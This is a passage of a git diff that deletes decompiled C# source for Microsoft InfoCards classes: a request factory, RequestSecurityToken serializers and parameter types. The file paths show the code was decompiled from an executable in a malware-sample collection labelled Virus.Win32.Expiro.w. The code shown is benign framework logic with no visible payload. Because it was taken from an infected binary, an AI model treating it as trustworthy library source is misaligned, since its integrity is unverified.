RequestFactory.RequestName.ManageRequest: - clientRequestInstance = (ClientRequest) new ManageRequest(contextMapping, executionIdentity, agent, rpcHandle, inStream, outStream); - break; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException()); - } - } - else - { - Process processFromRpcHandle = ClientRequest.GetCallingProcessFromRpcHandle(rpcHandle); - WindowsIdentity executionIdentity = NativeMcppMethods.CreateServiceExecutionIdentity(processFromRpcHandle); - switch (RequestFactory.s_requestMap[reqName]) - { - case RequestFactory.RequestName.CloseCryptoHandleRequest: - clientRequestInstance = (ClientRequest) new CloseCryptoHandleRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.DecryptRequest: - clientRequestInstance = (ClientRequest) new DecryptRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.EncryptRequest: - clientRequestInstance = (ClientRequest) new EncryptRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.GenerateDerivedKeyRequest: - clientRequestInstance = (ClientRequest) new GenerateDerivedKeyRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.GetCryptoTransformRequest: - clientRequestInstance = (ClientRequest) new GetCryptoTransformRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.GetKeyedHashRequest: - clientRequestInstance = (ClientRequest) new GetKeyedHashRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.HashCoreRequest: - clientRequestInstance = (ClientRequest) new HashCoreRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.HashFinalRequest: - clientRequestInstance = (ClientRequest) new HashFinalRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.SignHashRequest: - clientRequestInstance = (ClientRequest) new SignHashRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.TransformBlockRequest: - clientRequestInstance = (ClientRequest) new TransformBlockRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.TransformFinalBlockRequest: - clientRequestInstance = (ClientRequest) new TransformFinalBlockRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - case RequestFactory.RequestName.VerifyHashRequest: - clientRequestInstance = (ClientRequest) new VerifyHashRequest(processFromRpcHandle, executionIdentity, rpcHandle, inStream, outStream); - break; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException()); - } - } - clientRequestInstance.Initialize(); - } - return clientRequestInstance; - } - - private static UIAgentRequest CreateUIAgentRequestInstance( - ClientUIRequest parentRequest, - string reqName, - IntPtr rpcHandle, - Stream inStream, - Stream outStream) - { - UIAgentRequest agentRequestInstance = (UIAgentRequest) null; - lock (RequestFactory.s_createRequestSync) - { - InfoCardTrace.Assert(!string.IsNullOrEmpty(reqName), "Null or empty request name"); - InfoCardTrace.Assert(RequestFactory.s_requestMap.ContainsKey(reqName), "Request map does not contain " + reqName); - switch (RequestFactory.s_requestMap[reqName]) - { - case RequestFactory.RequestName.BeginCreateSecurityTokenRequest: - agentRequestInstance = (UIAgentRequest) new BeginCreateSecurityTokenRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.BeginSelectCardRequest: - agentRequestInstance = (UIAgentRequest) new BeginSelectCardRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.CancelAsyncOperationRequest: - agentRequestInstance = (UIAgentRequest) new CancelAsyncOperationRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.CreateCardRequest: - agentRequestInstance = (UIAgentRequest) new CreateCardRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.CheckStoreFileValidityRequest: - agentRequestInstance = (UIAgentRequest) new CheckStoreFileValidityRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.DeleteCardRequest: - agentRequestInstance = (UIAgentRequest) new DeleteCardRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.DeleteStoreRequest: - agentRequestInstance = (UIAgentRequest) new DeleteStoreRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.EndCreateSecurityTokenRequest: - agentRequestInstance = (UIAgentRequest) new EndCreateSecurityTokenRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.EndSelectCardRequest: - agentRequestInstance = (UIAgentRequest) new EndSelectCardRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.ExportFileRequest: - agentRequestInstance = (UIAgentRequest) new ExportFileRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetCertificateRequest: - agentRequestInstance = (UIAgentRequest) new GetCertificateRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetImportedCardRequest: - agentRequestInstance = (UIAgentRequest) new GetImportedCardRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetImportFileNameRequest: - agentRequestInstance = (UIAgentRequest) new GetImportFileNameRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetLedgerEntryForRecipientRequest: - agentRequestInstance = (UIAgentRequest) new GetLedgerEntryForRecipientRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetLedgerRequest: - agentRequestInstance = (UIAgentRequest) new GetLedgerRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetPolicyDetailsRequest: - agentRequestInstance = (UIAgentRequest) new GetPolicyDetailsRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetRecipientListRequest: - agentRequestInstance = (UIAgentRequest) new GetRecipientListRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetRecipientRequest: - agentRequestInstance = (UIAgentRequest) new GetRecipientRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetUserPreferenceRequest: - agentRequestInstance = (UIAgentRequest) new GetUserPreferenceRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.ImportFileRequest: - agentRequestInstance = (UIAgentRequest) new ImportFileRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.InfoCardListRequest: - agentRequestInstance = (UIAgentRequest) new InfoCardListRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.ListCardsInFileRequest: - agentRequestInstance = (UIAgentRequest) new ListCardsInFileRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.QueryStoreStatusRequest: - agentRequestInstance = (UIAgentRequest) new QueryStoreStatusRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.ResolvePPIDRequest: - agentRequestInstance = (UIAgentRequest) new ResolvePPIDRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.SaveCardRequest: - agentRequestInstance = (UIAgentRequest) new SaveCardRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.SaveLedgerEntryRequest: - agentRequestInstance = (UIAgentRequest) new SaveLedgerEntryRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.SaveRecipientRequest: - agentRequestInstance = (UIAgentRequest) new SaveRecipientRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.SendAgentStatusRequest: - agentRequestInstance = (UIAgentRequest) new SendAgentStatusRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.SetUserPreferenceRequest: - agentRequestInstance = (UIAgentRequest) new SetUserPreferenceRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.UIEndRequest: - agentRequestInstance = (UIAgentRequest) new UIEndRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.BeginGetFileNameFromUserRequest: - agentRequestInstance = (UIAgentRequest) new BeginGetFileNameFromUserRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.EndGetFileNameFromUserRequest: - agentRequestInstance = (UIAgentRequest) new EndGetFileNameFromUserRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.ListDependantCardsRequest: - agentRequestInstance = (UIAgentRequest) new ListDependantCardsRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetLastErrorDetailsRequest: - agentRequestInstance = (UIAgentRequest) new GetLastErrorDetailsRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetIsBrowserClientRequest: - agentRequestInstance = (UIAgentRequest) new GetIsBrowserClientRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.SetUserLanguageRequest: - agentRequestInstance = (UIAgentRequest) new SetUserLanguageRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetCardDetailsRequest: - agentRequestInstance = (UIAgentRequest) new GetCardDetailsRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.UnlockCardRequest: - agentRequestInstance = (UIAgentRequest) new UnlockCardRequest(rpcHandle, inStream, outStream, parentRequest); - break; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException()); - } - agentRequestInstance.Initialize(); - } - return agentRequestInstance; - } - - private enum RequestName - { - CloseCryptoHandleRequest = 0, - DecryptRequest = 1, - EncryptRequest = 2, - GenerateDerivedKeyRequest = 3, - GetBrowserTokenRequest = 4, - GetCryptoTransformRequest = 5, - GetKeyedHashRequest = 6, - GetTokenRequest = 7, - HashCoreRequest = 8, - HashFinalRequest = 9, - ImportRequest = 10, // 0x0000000A - ManageRequest = 11, // 0x0000000B - SignHashRequest = 12, // 0x0000000C - TransformBlockRequest = 13, // 0x0000000D - TransformFinalBlockRequest = 14, // 0x0000000E - VerifyHashRequest = 15, // 0x0000000F - ClientRequestCount = 16, // 0x00000010 - AgentRequestCount = 38, // 0x00000026 - BeginCreateSecurityTokenRequest = 128, // 0x00000080 - BeginSelectCardRequest = 129, // 0x00000081 - CancelAsyncOperationRequest = 130, // 0x00000082 - CreateCardRequest = 131, // 0x00000083 - CheckStoreFileValidityRequest = 132, // 0x00000084 - DeleteCardRequest = 133, // 0x00000085 - DeleteStoreRequest = 134, // 0x00000086 - EndCreateSecurityTokenRequest = 135, // 0x00000087 - EndSelectCardRequest = 136, // 0x00000088 - ExportFileRequest = 137, // 0x00000089 - GetCertificateRequest = 138, // 0x0000008A - GetImportedCardRequest = 139, // 0x0000008B - GetImportFileNameRequest = 140, // 0x0000008C - GetLedgerEntryForRecipientRequest = 141, // 0x0000008D - GetLedgerRequest = 142, // 0x0000008E - GetPolicyDetailsRequest = 143, // 0x0000008F - GetRecipientListRequest = 144, // 0x00000090 - GetRecipientRequest = 145, // 0x00000091 - GetUserPreferenceRequest = 146, // 0x00000092 - ImportFileRequest = 147, // 0x00000093 - InfoCardListRequest = 148, // 0x00000094 - ListCardsInFileRequest = 149, // 0x00000095 - QueryStoreStatusRequest = 150, // 0x00000096 - ResolvePPIDRequest = 151, // 0x00000097 - SaveCardRequest = 152, // 0x00000098 - SaveLedgerEntryRequest = 153, // 0x00000099 - SaveRecipientRequest = 154, // 0x0000009A - SendAgentStatusRequest = 155, // 0x0000009B - SetUserPreferenceRequest = 156, // 0x0000009C - UIEndRequest = 157, // 0x0000009D - BeginGetFileNameFromUserRequest = 158, // 0x0000009E - EndGetFileNameFromUserRequest = 159, // 0x0000009F - ListDependantCardsRequest = 160, // 0x000000A0 - GetLastErrorDetailsRequest = 161, // 0x000000A1 - GetIsBrowserClientRequest = 162, // 0x000000A2 - SetUserLanguageRequest = 163, // 0x000000A3 - GetCardDetailsRequest = 164, // 0x000000A4 - UnlockCardRequest = 165, // 0x000000A5 - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RequestSecurityToken.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RequestSecurityToken.cs deleted file mode 100644 index 1d6a926b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RequestSecurityToken.cs +++ /dev/null @@ -1,154 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RequestSecurityToken -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Globalization; -using System.ServiceModel.Channels; -using System.ServiceModel.Security.Tokens; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal abstract class RequestSecurityToken : BodyWriter - { - protected RequestSecurityTokenParameters m_rstParams; - protected RequestSecurityTokenSerializer m_serializer; - protected XmlDictionaryWriter m_xmlWriter; - - protected ProtocolProfile ProtocolVersionProfile => this.m_rstParams.Profile; - - protected InfoCardPolicy Policy => this.m_rstParams.Policy; - - protected RequestSecurityTokenSerializer Serializer - { - get => this.m_serializer; - set => this.m_serializer = value; - } - - protected XmlDictionaryWriter Writer - { - get => this.m_xmlWriter; - set => this.m_xmlWriter = value; - } - - protected string WstPrefix => this.ProtocolVersionProfile.WSTrust.DefaultPrefix; - - public RequestSecurityToken(RequestSecurityTokenParameters rstParams) - : base(false) - { - this.m_rstParams = rstParams; - } - - protected virtual void WriteRSTOpeningElement() - { - this.Writer.WriteStartElement(this.WstPrefix, this.ProtocolVersionProfile.WSTrust.RequestSecurityToken, this.ProtocolVersionProfile.WSTrust.Namespace); - this.Writer.WriteAttributeString(this.ProtocolVersionProfile.WSTrust.Context, (string) null, this.m_rstParams.Context); - } - - protected virtual void WriteInfoCardReferenceElement() - { - if (this.m_rstParams.Card == null) - return; - this.Serializer.WriteInfoCardReferenceElement(this.m_rstParams.Card); - } - - protected virtual void WriteKeyTypeElement() => this.Serializer.WriteKeyTypeElement(this.Policy.GetKeyTypeString()); - - protected virtual void WriteKeySupportingElements() - { - if (this.Policy.KeyType == SecurityKeyTypeInternal.SymmetricKey) - { - this.Serializer.WriteKeySizeElement(this.Policy.GetIntelligentKeySize(false).ToString((IFormatProvider) CultureInfo.InvariantCulture)); - InfoCardTrace.Assert(null != this.m_rstParams.ClientEntropyForSymmetric, "Should not be null"); - this.Serializer.WriteBinarySecretElement(new BinarySecretSecurityToken(this.m_rstParams.ClientEntropyForSymmetric)); - if (!string.IsNullOrEmpty(this.Policy.OptionalRstParams.EncryptWith)) - this.Serializer.WriteEncryptWithElement(this.Policy.OptionalRstParams.EncryptWith); - if (string.IsNullOrEmpty(this.Policy.OptionalRstParams.SignWith)) - return; - this.Serializer.WriteSignWithElement(this.Policy.OptionalRstParams.SignWith); - } - else if (SecurityKeyTypeInternal.AsymmetricKey == this.Policy.KeyType) - { - if (XmlNames.WSSpecificationVersion.WSTrustOasis2007 == this.ProtocolVersionProfile.WSTrust.Version && !string.IsNullOrEmpty(this.Policy.OptionalRstParams.KeyWrapAlgorithm)) - this.Serializer.WriteKeyWrapAlgorithmElement(this.Policy.OptionalRstParams.KeyWrapAlgorithm); - this.Serializer.WriteKeySizeElement(this.Policy.GetIntelligentKeySize(false).ToString((IFormatProvider) CultureInfo.InvariantCulture)); - InfoCardTrace.Assert(null != this.m_rstParams.RSAKey, "Should have been populated in asymmetric case"); - this.Serializer.WriteUseKeyElement(this.m_rstParams.RSAKey.GetXml()); - if (!string.IsNullOrEmpty(this.Policy.OptionalRstParams.EncryptWith)) - this.Serializer.WriteEncryptWithElement(this.Policy.OptionalRstParams.EncryptWith); - if (string.IsNullOrEmpty(this.Policy.OptionalRstParams.SignWith)) - return; - this.Serializer.WriteSignWithElement(this.Policy.OptionalRstParams.SignWith); - } - else - InfoCardTrace.Assert(SecurityKeyTypeInternal.NoKey == this.Policy.KeyType, "Should be no proof key"); - } - - protected virtual void WriteRequestTypeElement() - { - if (!string.IsNullOrEmpty(this.Policy.RequestType)) - this.Serializer.WriteRequestTypeElement(this.Policy.RequestType); - else - this.Serializer.WriteRequestTypeElement(this.ProtocolVersionProfile.WSTrust.IssueRequestType); - } - - protected virtual void WritePPIDElement() - { - if (this.m_rstParams.Card == null || !this.m_rstParams.Card.GetClaims().ContainsKey(InfoCardConstants.PPIDClaimsUri)) - return; - this.Serializer.WritePPIDElement(Utility.CreateHash(this.m_rstParams.Card.Key, Convert.FromBase64String(this.Policy.ImmediateTokenRecipient.GetOrganizationPPIDIdentifier()), this.m_rstParams.Card.HashSalt)); - } - - protected virtual void WriteEncryptionAlgorithmElement() - { - if (string.IsNullOrEmpty(this.Policy.OptionalRstParams.EncryptionAlgorithm)) - return; - this.Serializer.WriteEncryptionAlgorithmElement(this.Policy.OptionalRstParams.EncryptionAlgorithm); - } - - protected virtual void WriteClaimsElement() => this.Serializer.WriteClaimsElement(this.m_rstParams.DisclosedClaims, this.Policy.RequiredClaims, this.Policy.OptionalClaims); - - protected virtual void WriteDisplayTokenElement() - { - if (this.m_rstParams.Culture == null) - return; - this.Serializer.WriteDisplayTokenElement(this.m_rstParams.Culture); - } - - protected virtual void WriteTokenTypeElement() - { - if (string.IsNullOrEmpty(this.Policy.OptionalRstParams.TokenType)) - return; - this.Serializer.WriteTokenTypeElement(this.Policy.OptionalRstParams.TokenType); - } - - protected virtual void WritePassOnElements() => this.Policy.OptionalRstParams.WritePassOnElements(this.Writer, this.ProtocolVersionProfile); - - protected virtual void WriteUnprocessedPolicyElements() - { - if (this.Policy.UnprocessedPolicyElements == null || this.Policy.UnprocessedPolicyElements.Length <= 0L) - return; - this.Serializer.WriteUnprocessedPolicyElements(this.Policy.UnprocessedPolicyElements); - } - - protected abstract void WriteSecondaryParametersElement(); - - protected virtual void WriteEndElement() => this.Writer.WriteEndElement(); - - protected abstract void WriteAppliesToElement(); - - protected virtual void InitializeWriters(XmlDictionaryWriter writer) - { - this.Writer = writer; - this.Serializer = new RequestSecurityTokenSerializer((XmlWriter) writer, this.ProtocolVersionProfile); - } - - protected override void OnWriteBodyContents(XmlDictionaryWriter writer) => this.CustomWriteBodyContents(writer); - - protected abstract void CustomWriteBodyContents(XmlDictionaryWriter writer); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RequestSecurityTokenForGetBrowserToken.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RequestSecurityTokenForGetBrowserToken.cs deleted file mode 100644 index d5bfb81f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RequestSecurityTokenForGetBrowserToken.cs +++ /dev/null @@ -1,57 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RequestSecurityTokenForGetBrowserToken -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class RequestSecurityTokenForGetBrowserToken : RequestSecurityToken - { - public RequestSecurityTokenForGetBrowserToken(RequestSecurityTokenParameters rstParams) - : base(rstParams) - { - } - - protected override void WriteKeyTypeElement() - { - InfoCardTrace.Assert(this.ProtocolVersionProfile.WSTrust.KeyTypeBearer.ToString() == this.Policy.GetKeyTypeString(), "Only no proof key allowed in browser case"); - this.Serializer.WriteKeyTypeElement(this.Policy.GetKeyTypeString()); - } - - protected override void WriteRequestTypeElement() => this.Serializer.WriteRequestTypeElement(this.ProtocolVersionProfile.WSTrust.IssueRequestType); - - protected override void WriteAppliesToElement() => GetBrowserTokenRequest.WriteSourceUrlAppliesTo((XmlWriter) this.Writer, this.m_rstParams.BrowserTokenParams, this.ProtocolVersionProfile); - - protected override void WriteSecondaryParametersElement() - { - if (XmlNames.WSSpecificationVersion.WSTrustOasis2007 != this.ProtocolVersionProfile.WSTrust.Version) - return; - bool flag = true; - if (this.Policy.OptionalClaims.Length > 0) - flag = this.m_rstParams.DiscloseOptionalClaims; - if (!flag) - return; - if (this.Policy.RelyingPartyPolicy != null) - this.Serializer.WriteSecondaryParametersElement(this.Policy.RelyingPartyPolicy.PolicyXml); - else - this.Serializer.WriteSecondaryParametersElement(this.Policy.ClientPolicy.PolicyXml); - } - - protected override void CustomWriteBodyContents(XmlDictionaryWriter writer) - { - this.InitializeWriters(writer); - this.WriteRSTOpeningElement(); - this.WriteKeyTypeElement(); - this.WriteRequestTypeElement(); - this.WriteAppliesToElement(); - this.WriteClaimsElement(); - this.WriteTokenTypeElement(); - this.WriteSecondaryParametersElement(); - this.WriteEndElement(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RequestSecurityTokenForRemoteTokenFactory.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RequestSecurityTokenForRemoteTokenFactory.cs deleted file mode 100644 index bc196f08..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RequestSecurityTokenForRemoteTokenFactory.cs +++ /dev/null @@ -1,88 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RequestSecurityTokenForRemoteTokenFactory -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class RequestSecurityTokenForRemoteTokenFactory : RequestSecurityToken - { - public RequestSecurityTokenForRemoteTokenFactory(RequestSecurityTokenParameters rstParams) - : base(rstParams) - { - } - - protected override void WriteAppliesToElement() - { - switch (AppliesToBehaviorDecisionTable.GetAppliesToBehaviorDecisionForRst(this.Policy, this.m_rstParams.Card.RequireAppliesto)) - { - case AppliesToBehaviorDecision.SendRPAppliesTo: - this.Serializer.WriteAppliesToElement(this.Policy.PolicyAppliesTo, this.m_rstParams.Version); - break; - case AppliesToBehaviorDecision.SendCustomAppliesTo: - this.Serializer.WriteAppliesToElement(this.Policy.ImmediateTokenRecipient.Address, this.m_rstParams.Version); - break; - } - } - - protected override void WriteSecondaryParametersElement() - { - if (XmlNames.WSSpecificationVersion.WSTrustOasis2007 != this.ProtocolVersionProfile.WSTrust.Version) - return; - bool flag = true; - if (this.Policy.OptionalClaims.Length > 0) - flag = this.m_rstParams.DiscloseOptionalClaims && !this.OptionalClaimsExceedCard(this.m_rstParams.Card, this.m_rstParams.Policy); - switch (AppliesToBehaviorDecisionTable.GetAppliesToBehaviorDecisionForRst(this.Policy, this.m_rstParams.Card.RequireAppliesto)) - { - case AppliesToBehaviorDecision.SendRPAppliesTo: - case AppliesToBehaviorDecision.SendCustomAppliesTo: - if (!flag) - break; - if (this.Policy.RelyingPartyPolicy != null) - { - this.Serializer.WriteSecondaryParametersElement(this.Policy.RelyingPartyPolicy.PolicyXml); - break; - } - this.Serializer.WriteSecondaryParametersElement(this.Policy.ClientPolicy.PolicyXml); - break; - default: - flag = false; - goto case AppliesToBehaviorDecision.SendRPAppliesTo; - } - } - - protected override void CustomWriteBodyContents(XmlDictionaryWriter writer) - { - this.InitializeWriters(writer); - this.WriteRSTOpeningElement(); - this.WriteRequestTypeElement(); - this.WriteInfoCardReferenceElement(); - this.WriteClaimsElement(); - this.WriteKeyTypeElement(); - this.WriteKeySupportingElements(); - this.WriteAppliesToElement(); - this.WritePPIDElement(); - this.WriteEncryptionAlgorithmElement(); - this.WritePassOnElements(); - this.WriteDisplayTokenElement(); - this.WriteUnprocessedPolicyElements(); - this.WriteSecondaryParametersElement(); - this.WriteEndElement(); - } - - private bool OptionalClaimsExceedCard(InfoCard card, InfoCardPolicy policy) - { - InfoCardClaimCollection claims = card.GetClaims(); - bool flag = false; - foreach (string optionalClaim in policy.OptionalClaims) - { - if (!claims.ContainsKey(optionalClaim)) - flag = true; - } - return flag; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RequestSecurityTokenParameters.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RequestSecurityTokenParameters.cs deleted file mode 100644 index a3440adb..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RequestSecurityTokenParameters.cs +++ /dev/null @@ -1,91 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RequestSecurityTokenParameters -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Globalization; -using System.Security.Cryptography.Xml; -using System.ServiceModel.Channels; - -namespace Microsoft.InfoCards -{ - internal class RequestSecurityTokenParameters - { - private AddressingVersion m_addressingVersion; - private GetBrowserTokenParameters m_browserTokenParams; - private InfoCardPolicy m_policy; - private InfoCard m_card; - private bool m_discloseOptionalClaims; - private RSAKeyValue m_rsaKeyValue; - private byte[] m_clientEntropyForSymmetric; - private CultureInfo m_cultureInfo; - private string m_context; - private Dictionary m_disclosedClaims; - private ProtocolProfile m_profile; - - public AddressingVersion Version => this.m_addressingVersion; - - public GetBrowserTokenParameters BrowserTokenParams => this.m_browserTokenParams; - - public InfoCardPolicy Policy => this.m_policy; - - public InfoCard Card => this.m_card; - - public bool DiscloseOptionalClaims => this.m_discloseOptionalClaims; - - public RSAKeyValue RSAKey => this.m_rsaKeyValue; - - public byte[] ClientEntropyForSymmetric => this.m_clientEntropyForSymmetric; - - public CultureInfo Culture => this.m_cultureInfo; - - public string Context => this.m_context; - - public Dictionary DisclosedClaims => this.m_disclosedClaims; - - public ProtocolProfile Profile => this.m_profile; - - public RequestSecurityTokenParameters( - AddressingVersion version, - InfoCard card, - InfoCardPolicy policy, - bool discloseOptionalClaims, - RSAKeyValue rsaKeyValue, - Dictionary disclosedClaims, - string context, - byte[] clientEntropyForSymmetric, - CultureInfo displayCulture) - { - this.m_card = card; - this.m_policy = policy; - this.m_discloseOptionalClaims = discloseOptionalClaims; - this.m_rsaKeyValue = rsaKeyValue; - this.m_clientEntropyForSymmetric = clientEntropyForSymmetric; - this.m_profile = policy.ProtocolVersionProfile; - InfoCardTrace.Assert(this.m_rsaKeyValue == null && this.m_clientEntropyForSymmetric != null || this.m_rsaKeyValue == null && this.m_clientEntropyForSymmetric == null || this.m_rsaKeyValue != null && null == this.m_clientEntropyForSymmetric, "The three allowed cases are symmetric, noProofKey, asymmetric"); - this.m_disclosedClaims = disclosedClaims; - this.m_addressingVersion = version; - this.m_context = context; - this.m_cultureInfo = displayCulture; - } - - public RequestSecurityTokenParameters( - AddressingVersion addressing, - GetBrowserTokenParameters parameters, - ProtocolProfile profile, - InfoCardPolicy policy, - bool discloseOptionalClaims) - { - this.m_browserTokenParams = parameters; - this.m_addressingVersion = addressing; - this.m_policy = policy; - this.m_discloseOptionalClaims = discloseOptionalClaims; - this.m_context = Guid.NewGuid().ToString(); - this.m_profile = profile; - } - } -} diff --git 